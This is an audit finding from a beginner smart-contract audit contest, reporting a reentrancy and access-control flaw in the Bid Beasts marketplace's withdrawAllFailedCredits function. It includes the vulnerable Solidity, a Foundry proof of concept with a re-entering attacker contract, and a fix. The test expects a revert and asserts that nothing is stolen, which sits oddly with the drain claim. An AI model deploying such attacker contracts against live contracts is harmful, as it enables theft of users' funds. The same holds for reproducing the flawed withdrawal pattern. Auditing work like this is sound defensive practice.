Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy vulnerability in `withdrawAllFailedCredits` function

themo2

Description

  • The withdrawAllFailedCredits function is vulnerable to reentrancy attacks because it performs an external call to msg.sender before completing all state changes.

  • The function resets failedTransferCredits[msg.sender] = 0 but then makes an external call that could allow the recipient to re-enter the function and drain additional funds from other users' failed credits.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
@> (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Impact:

  • Malicious contracts can exploit reentrancy to drain funds from the contract

  • Combined with the access control bug (withdrawing other users' credits), attackers can steal all failed transfer credits

Proof of Concept

function test_reentrancyAttack() public{
_mintNFT();
_listNFT();
vm.deal(address(market), 100 ether);
// to have address that we will use as a _receiver and we will drain funds from
VictimContract victim = new VictimContract(address(market));
vm.deal(address(victim), BUY_NOW_PRICE+0.01 ether);
victim.placeBid{value: BUY_NOW_PRICE+0.01 ether}(TOKEN_ID);
AttackerContract attacker = new AttackerContract(address(market), address(victim));
vm.deal(address(attacker), BUY_NOW_PRICE+0.01 ether);
vm.expectRevert("Withdraw failed");
attacker.attackWithdraw();
assertEq(address(attacker).balance, 0, "Attacker should not have stolen any funds");
}
​
​
contract VictimContract {
BidBeastsNFTMarket market;
address public owner;
constructor(address _market){
market = BidBeastsNFTMarket(_market);
​
}
receive() external payable {
if(msg.sender == address(market)){
revert("Reverting to simulate payout failure");
}
}
function placeBid(uint256 tokenId) external payable {
market.placeBid{value: msg.value}(tokenId);
}
}
contract AttackerContract {
BidBeastsNFTMarket market;
address victim;
constructor(address _market, address _victim){
market = BidBeastsNFTMarket(_market);
victim = _victim;
}
receive() external payable {
if(msg.sender == address(market)){
// this is the failed transaction that will alow us to reenter
if (address(this).balance==0) {
revert("No funds to steal");
}
if(address(market).balance >= 0.01 ether){
attackWithdraw();
}
else{
return;
}
}
}
function attackWithdraw() public {
market.withdrawAllFailedCredits(victim);
}
}

Recommended Mitigation

- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.